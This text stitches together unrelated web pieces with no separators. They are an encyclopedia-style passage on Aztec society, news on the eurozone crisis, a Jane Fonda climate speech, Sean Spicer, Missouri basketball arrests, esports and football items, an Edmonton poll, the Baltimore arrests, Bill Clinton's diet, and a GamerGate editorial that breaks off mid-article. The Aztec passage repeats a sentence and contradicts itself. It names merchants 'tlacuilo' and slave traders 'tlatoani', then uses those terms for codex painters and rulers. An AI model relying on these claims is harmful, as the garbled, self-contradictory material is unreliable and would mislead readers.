Aztec armed forces were typically composed of large numbers of commoners with basic military training, who were stiffened by smaller numbers of professional warriors belonging to the nobility. The professional warriors were organized into warrior societies and often ranked according to their achievements.[citation needed] As the Aztec state was centered on expansion, dominance, and exaction of tribute from other city-states, warfare became the basic dynamic force in Aztec politics, economy, and religion.[citation needed]
Trade and commerce [ edit ]
Prior to the fall of the Aztec, the Aztec people had a stable economy driven by a successful trade market.[citation needed] The markets, which were located in the center of many communities, were well organized and diverse in goods, as noted by the Spanish conquistadors upon their arrival.[citation needed] The regional merchants, known as tlacuilo, would barter utilitarian items and food, which included gold, silver, and other precious stones, cloth and cotton, animal skins, both agriculture and wild game, and woodwork. The trade market of the Aztec people was not only important to commerce, but also to the socialization, as the markets provided a place for the people to exchange information within their regions. This type of trade market was used primarily for locally produced goods, as there was not much traveling needed to exchange goods at the market. With no domestic animals as an effective way to transport goods, the local markets were an essential part of Aztec commerce. However, the Aztec nobility obtained much of their merchandise from neighboring highland basins, distant places within the empire, and from land beyond the empire therefore creating the need for a long distance trade organization. The long distance trade was carried out by merchants called pochteca, who were defined by their positions within the system. These professional merchants occupied a high status in Aztec society, below the noble class. The pochteca were responsible for providing the materials that the noble class used to display their wealth. These materials were often obtained from foreign sources. Due to the success of the pochteca, many of the merchants became as wealthy as the noble class, but were obligated to hide this wealth from the public.[citation needed] The pochteca were an advanced group who reported to 12 locations throughout the Empire, where the high officials were located.
The highest officials of the pochteca were the pochteca tlatoque. The pochteca tlatoque were the elder of the pochteca, and were no longer travelers, but rather acted as administrators, overseeing young pochteca and administering the marketplace.[citation needed] The second group of pochteca was the slave traders, known as the tlatoani. These people were often referred to as the richest of merchants, as they played a central role in capturing the slaves used for sacrificial victims.[citation needed]
The third group of long distance traders was the tencunenenque, who worked for the rulers by carrying out personal trade.
A group of trader spies, known as the natural oztomeca, made up the last group of pochteca. The natural oztomeca were forced to disguise themselves as they traveled, as they sought after rare goods. The natural oztomeca were also used for gathering information at the markets and reporting the information to the higher levels of pochteca.[citation needed]
All trade throughout the Aztec Empire was regulated by officers who patrolled the markets to ensure that the buyers were not being cheated by the merchants. Because markets were so numerous, in large cities reaching upwards of 20,000 people, the organization was crucial, and the Aztecs were able to create a successful market due to the success of enforcing the laws of the empire.[citation needed]
Education [ edit ]
The Mexica, the founders and dominant group of the Aztec Empire, were one of the first people in the world to have mandatory education for nearly all children, regardless of gender, rank, or station. [17]
Until the age of fourteen, the education of children was in the hands of their parents, but supervised by the authorities of their calpulli. Periodically they attended their local temples, to test their progress.
Part of this education involved learning a collection of sayings, called huehuetlatolli ("The sayings of the old"), that embodied the Aztecs' ideals. It included speeches and sayings for every occasion, the words to salute the birth of children, and to say farewell at death. Fathers admonished their daughters [18] to be respectful and very clean, but not to use makeup, because they would look like ahuianis.[citation needed] Mothers admonished their daughters to support their husbands, even if they turned out to be humble peasants. Boys were admonished to be humble, obedient and hard workers. Judging by their language, most of the huehuetlatolli seemed to have evolved over several centuries, predating the Aztecs and most likely adopted from other Nahua cultures.
Children were taught at home until about 15 years of age, but all Aztec children, boys and girls, were expected to attend school for some time when they were between 10 and 20 years old. Boys and girls went to school at age 15.[citation needed]
There were two types of schools: the telpochcalli, for practical and military studies, and the calmecac, for advanced learning in writing, astronomy, statesmanship, theology, and other areas. The two institutions seem to be common to the Nahua people, leading some experts to suggest that they are older than the Aztec culture.[citation needed]
The telpochcalli or House of the Young, taught history, religion, military fighting arts, and a trade or craft (such as agriculture or handicrafts). Some of the telpochcalli students were chosen for the army, but most of them returned to their homes.
or House of the Young, taught history, religion, military fighting arts, and a trade or craft (such as agriculture or handicrafts). Some of the students were chosen for the army, but most of them returned to their homes. The calmecac, attended mostly by the sons of pillis, was focused on turning out leaders (tlatoque), priests, scholars/teachers (tlatimini), healers (tizitl) and codex painters (tlacuilos). They studied rituals, ancient and contemporary history, literacy, calendrics, some elements of geometry, songs (poetry), and, as at the telpochcalli, military arts.
Each calpulli specialized in some handicrafts, and this was an important part of the income of the city. The teaching of handicraft was highly valued.
The healers (tizitl) had several specialities. Some were trained to just inspect and classify medicinal plants, others were trained in the preparation of medicines that were sold in special places (tlapalli). More than a hundred preparations are known, including deodorants, remedies for smelly feet, dentifric paste etc. Also there were tizitl specialized in surgery, digestive diseases, teeth and nose, skin diseases, etc.
Aztec teachers (tlamatimine) propounded a spartan regime of education – cold baths in the morning, hard work, physical punishment, bleeding with maguey thorns and endurance tests – with the purpose of forming a stoical people.[citation needed]
There is contradictory information about whether calmecac was reserved for the sons and daughters of the pillis; some accounts said they could choose where to study.[citation needed] It is possible that the common people preferred the telpochcalli, because a warrior could advance more readily by his military abilities; becoming a priest or a tlacuilo was not a way to rise rapidly from a low station.
Girls were educated in the crafts of home and child raising.[citation needed] They were not taught to read or write.[citation needed] Some of them were educated as midwives and received the full training of a healer; they were also called tizitl. Female tizitl would treat women throughout their reproductive life. They would admonish young wives, and after the second month of pregnancy, they began to watch for any problems. They preferred to save the woman's life over that of a fetus,[citation needed] resorting to embryotomy. Because of this, their work, called temiuxiuliztli, has sometimes been translated as "obstetrics" (Medicine in Mexico, before the Discovery. Dr. Manuel Valdez 1992). All women were taught to be involved "in the things of god"; there are paintings of women presiding over religious ceremonies, but there are no references to female priests.
There were also two other opportunities for those few who had talent. Some were chosen for the house of song and dance, and others were chosen for the ball game. Both occupations had high status.
Recreation [ edit ]
Recreation came in different forms in Aztec society. Ullamaliztli, the ball game, was a large part of the indigenous society and had ritual aspects. Dance, however could be used in many different ways such as entertainment, religion or politics.
Ullamaliztli [ edit ]
Dance [ edit ]
In Aztec society, dance could be used for entertainment, religious and sacrificial purposes, or for politics. When the intent was entertainment, it was performed in either a temple, temple or secluded areas for nobles.[19] These performances often included songs, instrumental music and sometimes comic sketches.[19] When used for religion or sacrifice, it followed the sacred Aztec calendar and its ritual cycle.[19] Dance could also be used in politics to show imperial power and to impress the gods for successful wars and conquest.[19]
Historical records [ edit ]
The sources for information about Aztec society are primarily documents written in the Spanish language in the first century after the Spanish conquest. Important among these are the Florentine Codex, a 12 volume ethnographic description of precolumbian Aztec society compiled by Bernardino de Sahagún, the chronicle of Diego Durán, and the descriptions of the first conquistadors such as those of Hernán Cortés himself and of Bernal Díaz del Castillo. In recent decades the archaeological study of precolumbian Aztec civilization has also unearthed important information about Aztec society which has led to a deeper understanding particularly of social structures and trade.[20]
Notes [ edit ]Yet another ugly day in financial markets: around the world stocks fell, the euro weakened, and commodity prices fell on fears that world growth will stall. The source of the problems was, again, Europe.
In the Netherlands, the center-right government of Mark Rutte fell, unable to cobble together a coalition to pass budget cuts required by EU fiscal rules – rules that mandate that eurozone countries run annual deficits no more than 3% of GDP, which would force stringent austerity upon the Dutch to bring down a deficit that is currently projected to be 4.6% of GDP in 2012. Rutte, along with Merkel of Germany, was a hardline advocate of the 3% fiscal discipline rules.
But given that the sober Dutch are in no danger of defaulting on their AAA-rated bonds, why the turmoil and panic? Because, perhaps, the Dutch are indeed sober – and a significant number of them have said "enough". Having seen the devastation inflicted on the Greek, Irish and Spanish economies by tough austerity measures, many have concluded that the pain is simply not worth it to meet an arbitrary 3% deficit rule.
Moreover, Greece, Ireland and Spain have shown that meeting a deficit number in a depressed economy is akin to chasing a moving target: because budget cuts depress the economy, to achieve a one percentage point of GDP reduction in the deficit requires cutting by more than one percentage point. And when one misses one's target, even more cuts are necessary. Better, then, not to go there at all, reason the Dutch.
When markets contemplate that it's likely that another austerity-skeptic, François Hollande, will win the presidency in France, then the pattern becomes impossible to ignore: the "core" eurozone countries are fragmenting. While it would be foolish to make predictions, what is probable is that Germany's political isolation within the eurozone will deepen, leaving German taxpayers unwilling to continue backstopping the whole system.
Unthinkable as it seems, the logical conclusion is that the eurozone cannot continue to exist, at least in its present form. Markets, which hate unquantifiable uncertainty, are sensing this. We are likely to be in for an extended period of gut-wrenching turbulence.
What are the implications for the US, economically and politically? Direct links between the US and eurozone economies are fairly minor: we don't export that much to them, they don't import that much from us, and US banks have had an extended time to cut their exposure to eurozone risk. Yet the collateral damage could still prove significant.
When the stock markets fall, consumer and business confidence falls, leading to cutbacks in spending – bad news for an American economy that is still mired in recession. In addition, crisis in Europe makes for a stronger US dollar, as investors flee to safer abodes. Again, bad for the economy as a stronger dollars hurts US exports.
The reality of the eurozone's troubles should lend support to President Barack Obama's campaign against GOP presidential nominee presumptive Mitt Romney and congressional Republicans. It provides a demonstration that austerity is self-defeating, that fiscal stimulus is needed in a deeply depressed economy, that recovery from a financial crisis is a slow and halting process, and that by grasping the nettle immediately, the Obama administration has succeeded in stabilizing its financial sector – while the Europeans have made a hash of it.
Yet politics, especially in America, is never so easy. As with his recent campaign stop in which he blamed Obama for a factory closing which actually occurred during the Bush administration, Romney will blame Obama for every problem – no matter how tortured or fraudulent the logic. It would be a great irony if Obama, who has been far more supportive of expansionary fiscal policy than any European leader, is hurt by the blowback from austerity in the eurozone. But this is what can happen when voters are in a foul mood and opponents are unencumbered by the truth.
There is, however, another outcome possible. In this alternative, continued economic troubles force Obama to sharpen his game and focus on principles, in which he gives a robust defense of fiscal stimulus, of the importance of the social safety net, explains how government spending can be a force for good. In fact, the events of the past few years have almost uniformly supported Obama's world-view and Democratic policies. But in order to win in November, he must fight for them now.1 of 4 2 of 4
Oscar-winning actor Jane Fonda electrified a crowd at Jericho Beach with a hard-hitting 12-minute speech condemning oil executives and calling for far greater emphasis on renewable energy.
The star of such films as On Golden Pond and Klute said that she came to speak in Vancouver because she believes that the world is at an "existential crossroads" because of climate change.
"I’m 77 and I thought I was getting too tired to go to the barricades, but that’s a bunch of B.S.," Fonda said to cheers from people attending the Toast the Coast Before the Coast is Toast celebration.
"This issue is too important and it’s a very simple issue," she continued. "People versus oil. Life versus oil."
She explained that down one road, Shell Oil will drill in the Arctic, which is the world's largest untapped oil reserve, simply to make a profit. And she expressed exasperation over the U.S. government giving permission to the oil giant to do this.
“What it means is that a very tiny group of people get richer and richer," Fonda said. "And the vast majority get hotter and sicker. Richer and richer. Hotter and sicker. Richer and richer. Hotter and sicker.”
She then pointed to another road in which the future could be honoured, bringing about clean jobs, democracy, and better lives for children, grandchildren, and precious animals.
"Down that road, people take a stand a stand against Shell Oil, Enbridge, Kinder Morgan, and all the other corporations masquerading as citizens," Fonda declared.
Video of Jane Fonda opens her speech at Jericho Beach on June 13, 2015 in Vancouver. Jane Fonda opens her speech by praising a young climate-change activist named Tiger.
Moments later, she said there's been "enough profit, enough plundering through extractivism".
That's when Fonda teed off on oil executives.
"These men who make hundreds of thousands of dollars a minute, they don’t know what enough means," she claimed. "They assume that our natural resources are limitless and that they have a right to plunder them, even if it means leaving our communities riddled with cancer and birth defects and asthma. Even when it means killing off entire species. Even when it means killing us. This is not just irresponsible. This is abuse of power and abuse of human rights."
She said it doesn't require a PhD to understand what's happening. And she insisted that certain oil reserves must remain in the ground if the world will remain within two degrees Celsius of average warming since the industrial revolution began.
"It will never happen if we drill in the Arctic and expand the Alberta tarsands," Fonda stated. "The principal reserve that has to stay in the ground is the Arctic."
Charlie Smith
Not only is the Arctic home to caribou, whales, polar bears, walruses, fish, whales, and four million people, but Fonda also said that it's the world's "air conditioner".
"That ice bounces the sun's heat back into space," she maintained. "The Arctic helps protect us. We need to protect the Arctic. If Arctic oil is pumped and burned, the ice will melt faster and as that ice melts, the climate heat is turned up. The glaciers melt. The seas rise, wiping out entire island nations and coastal communities. If that ice melts, the entire world is in much graver danger."
She pointed to a different path, citing how more jobs are created for every dollar invested in renewable energy than for the same amount put into extractive industries.
She cited several European countries and U.S. cities where there's been an increase in renewable energy use.
"And they’re clean jobs. And they’re jobs with dignity," Fonda said. "Now the oil companies and the politicians they buy off and the right-wing media would have us believe that the alternatives aren’t real, that they’re not ready, that it’s pie in the sky for some future time. All you have to look at is Netherlands, Norway, Austria, Germany."
Video of Jane Fonda at Jericho Beach in Vancouver on June 13, 2015 Jane Fonda spoke of another world in which the future is honoured.
Fonda opened her speech by letting the audience know that she was first arrested in 1970 while marching with First Nations in Tacoma and for protesting the impact of clear-cutting on spawning salmon.
"I have fished for salmon in the Campbell River," Fonda said. "So I, in my own way, am aware of the unbelievable beauty of this pristine coast. And I stand here with you and with the unbelievably brave First Nations people who are trying to stop Big Oil from destroying the coastline."White House press secretary Sean Spicer, who is already under fire for his dissembling on the role of former campaign manager Paul Manafort, seemed flustered when responding to a question about the White House using federal money to lobby for the American Health Care Act, which could be illegal.
The controversy stems from tweets sent by both President Donald Trump's official White House Twitter account and the Twitter account of his social media director Dan Scavino Jr.
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When asked about whether these tweets violated federal laws, Spicer told reporters "it is not… the president… it doesn’t… that is not applicable to the president, no."
Scott Amey, general counsel at the Project on Government Oversight, told ThinkProgress that "based on the letter of the law, the lobbying provision would apply to the White House and any White House official. Any lobbying for the health care bill violates that ban."
Spicer rebutted the notion that Trump had violated the Anti-Lobbying Act, which does not allow federal money to be used "to favor, adopt, or oppose, by vote or otherwise, any legislation, law, ratification, policy, or appropriation." Because the Department of Justice believes it doesn't apply to "public speeches or public writings of federal executive branch officials," Trump's tweets could in theory be exonerated. That said, the appropriations bill which funds the White House communications operations (along with all other appropriations bills) also prohibit their use for "publicity or propaganda" regarding impending legislation. This explicitly includes film presentations like the one included in the tweet from Trump's presidential account.Missouri freshman forward Jakeenan Gant left his wallet at the scene of an alleged assault that took place in the early-morning hours Sunday, according to a Columbia Police Department report.
Gant and fellow Tigers freshman D’Angelo Allen, who have been suspended from the team, were arrested around 2 a.m. Sunday morning, along with a 22-year-old Michael J. Martin of Lone Jack, on third-degree assault charges.
Columbia Police were dispatched to Eighth and Elm in reference to a disturbance and found three victims, who had been “walking east on Elm when they were jumped by three to four black males,” according to the police report.
One male victim, 20, reported being hit two or three times as he tried to help a friend, who was on the ground being assaulted by the suspects.
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Another male victim, 20, reported that he was assaulted while walking and saw one of the suspects drop his wallet.
The third male victim, 21, also reported being assaulted on the ground.
Shortly afterward, MU police stopped three males, near 404 Kentucky Ave., who matched the description given by the victims.
Witnesses identified all three as suspects in the assault and they were arrested for third-degree assault, which is a misdemeanor under Missouri statutes, and released on a signature summons.
The three men arrested were unavailable for comment. No information about their attorneys was available. The case has not yet been forwarded to the Boone County Prosecutor’s Office for review.
On Tuesday night, first-year Missouri coach Kim Anderson announced that Allen and Gant had been suspended from team activities.
“We have high standards for the conduct of our student-athletes and expect much more from them as members of our program,” Anderson’s release read, in part.
Gant, who is the reigning Mr. Georgia Basketball, was originally signed in November by former coach Frank Haith, who left Missouri for Tulsa in April.
Gant, who had transferred to School of the Osage in Lake Ozark, Mo., after the basketball season, decided to stick with the Tigers after Anderson’s hiring.
Allen, a Dallas native, signed with Missouri during Anderson’s first week.
The MU basketball program had three players arrested last season under Haith.
Sophomore point Wes Clark and former shooting guard Shane Rector, who left Missouri in May and transferred to Miami Dade Community College, were arrested in March on suspicion of marijuana possession.
In early April, former forward Zach Price, a transfer from Louisville who was dismissed by Haith before he ever played for the Tigers, was arrested twice in the same day for assault and domestic assault charges.Origen has signed Augustas "Toaster" Ruplys as their new starting AD carry, according to their updated roster list on Lol Esports.
According to Riot's schedule, Toaster is set to replace Enrique "xPeke" Cedeño Martínez as the team's starting ADC in their Week 7 EU LCS matches against FC Schalke 04 and Team ROCCAT.
The British ADC is a newcomer to the EU LCS, having never played for an LCS or Challenger team. Over the past two years he has mostly played in regional UK tournaments with teams like FM eSports, Exertus Esports and Team Infused.
He played in two ESL UK Premierships, as part of Infused’s first-place Spring 2015 lineup, and later with Exertus’ Spring 2016 lineup (at the time playing under the handle “Gakis”), which fell to Renegades: Banditos in the semifinals, finishing third.
xPeke, Origen’s co-founder and substitute mid laner, has been serving as the team’s ADC since Konstantinos “FORG1VEN” Tzortziou was benched and left the team under strained circumstances after the first week of the split. The team’s results in the EU LCS Summer Split have suffered since xPeke was subbed in — they are currently in second-last place in the standings, with a 1-6-5 record — and they have been searching hard for a new player to fill the hole.
Origen’s new addition coincides with FORG1VEN’s return to League of Legends with H2k-Gaming, which he left in May to join Origen.
Toaster will get his chance to burn FC Schalke on July 14 and ROCCAT on July 15.
Sasha Erfanian is a news editor for theScore esports. Follow him on Twitter, it'll be great for his self-esteem.The Polish club say Bartosza Bereszyński may have been due to serve a suspension against Celtic.
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Celtic could be reinstated in the UEFA Champions League qualifiers after the governing body opened an investigation into claims Legia Warsaw fielded an ineligible player.
Bartosza Bereszyński came on as a substitute with four minutes to go at Murrayfield. But the governing body are considering a complaint the player should have been suspended for the match.
In a statement, Legia confirmed they have prepared a submission to UEFA regarding the matter.
If found to have fielded an ineligible player, Legia could be forced to forfeit the second leg.
UEFA regulations state that Celtic would be awarded a 3-0 win. In that case, having lost the first leg 4-1 to their Polish opponents, the Scottish champions would progress on away goals to the play-off round stage.
Bereszyński was sent off in the UEFA Europa League last season. The duration of his subsequent ban was for three games but he missed Legia's next three UEFA matches against St Patrick's Athletic and the home leg of his side's tie with Celtic.
UEFA regulations however state that a ban only applies to a player if he is listed in a club's squad for matches. If the player in question was not on Legia's squad list for the St Patrick's tie, he would have been ineligible for both Celtic matches.Mayor Don Iveson should feel confident ahead of October’s civic election, with a new poll measuring his approval rating at 61 per cent. But it would be a different story if he ran against the Oilers star player Connor McDavid.
“You better hope McDavid stays on the ice and doesn’t run against him,” Mainstreet Research president Quito Maggi joked Monday.
A poll commissioned by Postmedia measured the popularity of 18 well-known Canadians, including Albertan athletes, provincial politicians and big city mayors. The results released Tuesday measured an individual’s favourability in Calgary, Edmonton and the province overall. The survey responses from 1,000 people across Alberta were used to calculate a net rating and rank the individuals.
“Certainly, Don Iveson’s star is rising,” Maggi said. “I think we can expect to see a … runaway victory in Edmonton.”
Still, not everyone would vote for him. The poll found 30 per cent of Edmontonians viewed him unfavourably, compared to the 61 per cent who supported him. Nine per cent were either unsure or unfamiliar with him.
Iveson’s popularity drops to 20 per cent if respondents across the province are included — only nine per cent of Calgarians surveyed approved of the mayor.
In Edmonton though, his approval rating is consistent — a January poll by Mainstreet found that 58 per cent of people approved of him, compared to 33 per cent who disapproved or nine per cent who were unsure.
In April, those numbers rose after another poll found he had a 66 per cent approval rating, compared to 27 per cent who disapproved.
McDavid led Tuesday’s list with a favourable rating of 78 per cent in Edmonton. Unsurprisingly, he didn’t fare so well amongst Calgary Flames fans. Twenty-four per cent of Calgarians approved of him, nine per cent found him unfavourable and 57 per cent
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stand-off with law enforcement that was quickly dispersed. (Whitney Leaming/The Washington Post)
About 80 people who were arrested during protests and rioting that have roiled the city of Baltimore were released late Wednesday after spending two days in jail without ever being formally charged, and in many cases without ever being told why they had been taken into custody.
Baltimore police began releasing dozens of the people they arrested Monday night after protests over the death of Freddie Gray, who suffered a severe spinal injury while in police custody. The protests escalated in the city just hours after Gray, 25, was eulogized, with some people throwing rocks and bottles at officers, multiple cars set on fire and a number of businesses looted.
Authorities initially said most of the arrests were for attacks on property and people, including officers, and that they would continue to work to hold people accountable, including reviewing video and social media accounts.
By Wednesday as officers struggled to complete the paperwork needed to charge more than 100 people who had been detained since the unrest began, officials began releasing most of them.
State court rules require persons arrested to have charges filed within 24 hours of their arrest and to go before a judicial official known as a court commissioner to hear the charges and generally have an opportunity for bail.
1 of 26 Full Screen Autoplay Close Skip Ad × Solidarity protests held in New York, Washington and Boston View Photos In New York City, Washington and Boston, crowds are demonstrating to protest Freddie Gray’s death. Caption Crowds are protesting the death of Freddie Gray in police custody in Baltimore. April 30, 2015 Protesters rush a police line after a rally in Philadelphia. The event follows days of unrest in Baltimore amid Freddie Gray's death in police-custody. Matt Rourke/AP Buy Photo Wait 1 second to continue.
The usual 24-hour window was extended to 48 hours by Maryland Gov. Larry Hogan (R), who had declared a state of emergency for the city after protests turned violent. But even so, police could not file charges to meet the deadline. And some defense attorneys were questioning whether Hogan had the authority to extend the time.
“I am concerned that this is going to further erode the public’s confidence in our criminal justice system,” said Natalie Finegar, the deputy public defender for Baltimore.
Saucha Robinson, 18 and a Coppin State University student, stood outside the Baltimore Central Booking and Intake Center on Wednesday waiting for her boyfriend. She was released from the facility about 7 p.m. after being detained for two days without formal charges, according to the public defender’s office.
Robinson said she was one of the many “innocents” arrested. “I understand what was going on out here,” Robinson said about the riots and violence.
“But it doesn’t mean that the process and paperwork should stop in there,” said Angelia Augustus, 29, another woman who was released Wednesday.
Robinson said she was arrested Monday around 9 p.m. as she was on her way to school. The early-education student said she was near Mondawmin Mall when she saw the police making arrests and she ran from them, she said.
“My initial instinct is to run from whatever is going on,” Robinson said.
Baltimore police spokesman Capt. Eric Kowalczyk said the large number of detentions flowed from the turmoil that erupted after Gray’s funeral.
Elected officials, including Hogan and Baltimore Mayor Stephanie Rawlings-Blake, had made it clear that any act of violence would be met with a swift response.
Although scores of people were released Wednesday, it does not mean they won’t face future arrest, Baltimore Police Commissioner Anthony W. Batts said at a news conference Wednesday night.
“We’re not giving up on them,” Batts said. “We’re just gonna follow up.”
For police and court officials, Wednesday included sorting through the arrests made over several days.
Dwayne Torrence of Baltimore was released shortly after 6 p.m. Wednesday.
He said he’d never been given documents explaining his charges and was never brought before a court commissioner. He said the holding cell he stayed in was overcrowded and that many of those detained were getting angry.
Torrence said that on Monday, during the protests, he was talking to police officers when another group of officers suddenly appeared and began arresting people. He said he ran, was caught and was arrested. He said he thinks that police intended to charge him with disorderly conduct, but he doesn’t know why.
District courts in Baltimore were closed Tuesday because of the state of emergency put in place. But that closure did not affect the court commissioners, who continued to work at full staffing since Monday, said Terri Charles, a spokeswoman for the Maryland Judiciary.
Even with their usual round-the-clock presence, many of those arrested were not presented to the commissioners on charges — leading to their release.
“In order to criminally charge someone, we have to have the witnessing officer, we have to know the location and the time,” Kowalczyk said. “They have to fill out a document that details the probable cause for the arrest. As you saw Monday night... it was a very chaotic situation.”
Outside the Baltimore Central Booking and Intake Center on Wednesday, several family members and friends of people arrested in the past few days showed up, looking for answers of when they might be released.
“This is ridiculous,” said Andrew Rickers, 24, who said his fiancee, Rachel Fisher, was arrested Monday afternoon. He hadn’t heard from her since.
At one point, using a cellphone from a nearby bail bondsman, he spoke to officials inside the jail. He told an official he understood these were unusual circumstances but said Fisher had a right to see a court commissioner within 24 hours of arriving. “The law is the law,” Rickers told her.
In Maryland, there is essentially a two-step process for setting bonds. The first is done by a commissioner. Then, defendants who cannot make their bond and continue to be held in jail get a chance to have their bond reviewed by a judge. Some of the people arrested during the protests had such bond review hearings Wednesday, offering glimpses of police allegations.
They all beamed onto televisions appearing remotely for their bail reviews.
Men accused of filling bags with bottles from liquor stores. Women who said they were not at looted shops to steal but to track down their children amid the chaos. And alleged rioters who said they were on their way home but “at the wrong place at the wrong time.”
The charges ranged from theft, looting, burglary and “fleeing with merchandise.”
At least one teen appeared before a judge Wednesday. She was charged with malicious destruction of property and burglary on Monday. The judge let her go. It was her first arrest.
“She appreciates that so she can go back to high school,” said her public defender.
The teen cheered and high-fived other women in the room with her after the judge said she could go.
Arelis Hernandez, Jennifer Jenkins and Perry Stein contributed to this report.Former President Bill Clinton began his national political career known for his frequent trips to McDonald's, but he now enjoys his relatively new life as a vegan after losing 30 pounds and responding positively to the advice of his doctors.
An AARP magazine profile says Clinton "received a blistering email" from his physician not long after his 2004 quadruple-bypass surgery.
"I just decided that I was the high-risk person, and I didn't want to fool with this anymore. And I wanted to live to be a grandfather," Clinton said. "So I decided to pick the diet that I thought would maximize my chances of long-term survival."
Today, more than three years after taking up veganism, Clinton says he's enjoying his diet free of dairy, meat and fish. But the transition was difficult, he said.
"The main thing that was hard for me actually -- much harder than giving up meat, turkey, chicken and fish -- was giving up yogurt and hard cheese," the former president said.
Clinton said he "would keep a record of everything I ate every day — what, when and how much."
"That's easy for everybody to do. Just go write it down. And then I'd start looking at it and say, 'what am I going to give up and what am I going to substitute?'" Clinton said.
Clinton also said he's learned that diet problems are crippling the country's health care system.
"You have to make a conscious decision to change for your own well-being, that of your family and your country," he said.If somebody told you that no Barcelona player had ever won a La Liga player of the month award, you would be forgiven for pitying their poor grasp of modern football. Renowned for inventing 'tiki-taka' and boasting the greatest player on the planet, the Catalan club is recognised by many observers as the best football team of a generation.
However - unbelievably - since its conception in September 2013, not one of Barcelona's internationally lauded team have scooped the monthly trophy.
Despite lying top of La Liga on 27 points, three clear of rivals Real Madrid, the award failed to go to a Barcelona player for the 26th month in a row.
Barcelona strikers Neymar and Luis Suarez are currently first and second in the Pichichi table of leading goal-scorers, with 11 and 9 goals respectively to their names.
October's player of the month gong went to Borja Baston of Eibar, a team Luis Suarez bagged a spectacular hat-trick against in the same month as the award refers to.
Four-time Ballon d'Or winning striker Lionel Messi has scored a mere 73 league goals since the first award was handed out, yet even a record like the great Argentine's is apparently not good enough to break the club's run of winless months.
In contrast, Real Madrid players have earned the honour three times, with Madrid rivals Atletico claiming it six times.
Lionel Messi is fighting to regain his fitness in time for the El Clasico against Real Madrid on November 22. The 28-year-old has not featured for Barcelona since injuring his knee in 2-1 victory over Las Palmas in late September.This is an editorial piece. The views and opinions expressed in this article are those of the author and do not necessarily represent the views and opinions of, and should not be attributed to, Niche Gamer as an organization.
In the world of the modern tree model, the surface outer layer is determined by the deep inner layer, but in the world of the postmodern database model, the surface outer layer is not determined by the deep inner layer; the surface reveals different expressions at those numerous moments of “reading up.”
-Hiroki Azuma
Otaku: Japan’s Database Animals
What is GamerGate?
The cultural phenomenon that has come to be known as GamerGate, is a complex, sometimes infuriating, and almost universally misunderstood event. The one thing commentators have correctly identified, is that it is a culture clash between two different groups, one that sees themselves as progressive, and portrays the other as regressive, and another that sees themselves as having no ideology. However, what has been consistently misinterpreted is the actual philosophical and political underpinnings of the conflict.
I found it somewhat baffling myself, until I read this article.
Once I understood the perceived truths of the author of that article, the entire framework of the conflict became crystal clear. What is actually at issue here, is not ideology at all; it is a struggle between modernity, and postmodernity, where neither side accurately self identifies their place in the conflict. The assumptions, of course, are that the self-proclaimed progressives are the agents of change, attempting to modernize the status quo of the culture, and the people pushing back against the change must then be regressive defenders of the status quo. In a way that is correct. However, where it all gets very tangled, is that the alleged progressives are in fact cultural throwbacks, decades late to attempting to modernize an already thoroughly postmodern culture.
Modernism, Postmodernism, and Narrative
At this point I should note that it would probably be helpful to have a working knowledge of Otsuka Eiji’s Theory of Narrative Consumption as well as Hiroki Azuma’s excellent examination of Otaku Culture that I quoted in the opening, however, I will try to discuss this without going too deep into the weeds. It would also be helpful to know the difference between postmodernity (a description of a state of culture) and postmodernism (a school of thought), but explaining that would be a long article unto itself.
I do think before going any farther down this path, it would be helpful to define some language.
Modernity, in the simplest terms, is History. It is the conflict of grand narratives that shaped the lives of the citizens of the 20th century. Systems of government, national identities, religions, racial and tribal identities, mythologies; these are the social realities that shape history, the grand narratives that define modernity. In a modern culture, all meaning flows out from the grand narrative like a tree, each branch being a new interpretation, and each leaf being an idea. All experience, all knowledge, all understanding flows back to the trunk of the grand narrative, and all reality is understood through the social agreement of which grand narrative to apply.
Postmodernity, however, Jean Baudrillard points out, is where grand narrative breaks down, replaced instead by a system of small narratives, combining and intermingling to take the place of the defunct grand narrative, and creating meaning, not from a hierarchical dogma, but from personal mythology built from the found intellectual objects of society, recombined, recontextualized, and given new meaning in their use, rather than meaning being handed down from a grand narrative. Postmodernity is slang, the mash-up, the in joke, the meme, rather than the sermon, the dissertation, the lecture, or the speech, which defined the truth of modernity. As Hiroki aptly describes it, if modernity can be viewed as a tree of grand narrative, then postmodernity is best viewed as a database of small narratives.
Gamer Culture
As Hiroki notes, Otaku Culture is not a product of Japanese Culture, it is a product of Western Popular Culture, overlaid on Japanese Culture. Western Popular Culture being pretty much the perfect example of a postmodern culture devoid of grand narrative. However, even deeper than that, you have Gamer Culture, a culture so intertwined and informed by Otaku Culture, as to make the two at many points indistinguishable and interchangeable, even across national boundaries. In fact, at the core of this very dispute, are the various chans. In Japan is 2ch, the heart of Otaku Culture, and in the West, there is 4chan (copied directly from 2ch), and now 8chan (actually partnered with 2ch). From this perspective, I would argue that all of Hiroki’s observations of the nature of Otaku Culture are equally applicable to Gamer Culture.
And this, is the beginning of the misunderstanding that is GamerGate. Much ink has been spilled, if you will forgive the anachronistic rhetorical flourish, about the validity, or invalidity of Gamer Culture. Williams, Hendricks and Winkler had their interpretation of Gamer Culture, Adrienne Shaw had her objections to Gamer Culture, and Dan Golding had his outright dismissal of Gamer Culture. I would argue, however, that all of these people insisted on understanding Gamer Culture through modernist grand narrative, rather than, like Hiroki or Otsuka, recognizing its postmodernity.
As Hiroki argues, Otaku Culture finds meanings not from the grand narratives of modernity, but from cultural mythologies created on the fly though the combination and recontextualisation of ‘database objects’ taken from consumed narratives, and repurposed as a substitute for grand narrative. In this way, through reducing the consumed narrative to a system of objects, and recombining and reusing the objects, they become a simulacra stripped of their intended meaning, and assigned new meaning by the culture. Through successive iterations these create deep cultural meanings, inaccessible to those attempting to “read up” the surface layer, without understanding the deeper cultural database on which the simulacra are based. Practical examples of this behavior are readily available at sites such as Know Your Meme.
What is important to understand about this process, is that the narrative is not being consumed as a grand narrative, but rather as a source of new objects to be appropriated and employed in the creation of new simulacra. Thus you have consumption as a way to acquire new narrative elements, rather than as a way to consume and assimilate entire narratives. Those elements are then incorporated into the underlying database, which is then expressed on the surface layer in different ways depending on the context. This underlying database, is what comprises the culture, and it is a postmodern culture, devoid of grand narratives like Ideology or Religion, which is exactly how Gamers are able to interact as a culture, despite completely different views on topics like this.
Put more plainly, Gamer Culture is not a culture in the modern sense, of a set of shared ideologies, beliefs and morals, but in the postmodern sense of a shared reality of contextual elements, and language for expressing and reusing those elements in meaningful and transformative ways, that speak to the cultural gestalt of the participants.
Critical Theory, Social Justice and Grand Narrative.
